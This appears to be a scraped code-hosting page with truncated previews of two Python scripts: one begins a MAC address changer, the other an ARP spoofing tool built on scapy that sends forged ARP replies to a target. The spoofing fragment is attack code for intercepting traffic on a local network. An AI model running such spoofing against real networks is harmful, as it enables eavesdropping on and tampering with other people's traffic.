This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import subprocess | |
import optparse | |
import re | |
def get_args(): | |
parser = optparse.OptionParser() | |
parser.add_option("-i", "--interface", dest="interface", help="Interface whose mac has to be changed") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import scapy.all as scapy | |
import time | |
import argparse | |
import sys | |
def spoofer(targetIP, spoofIP): | |
packet=scapy.ARP(op=2,pdst=targetIP,hwdst=destinationMac,psrc=spoofIP) | |
scapy.send(packet, verbose=False) | |
def restore(destinationIP, sourceIP): |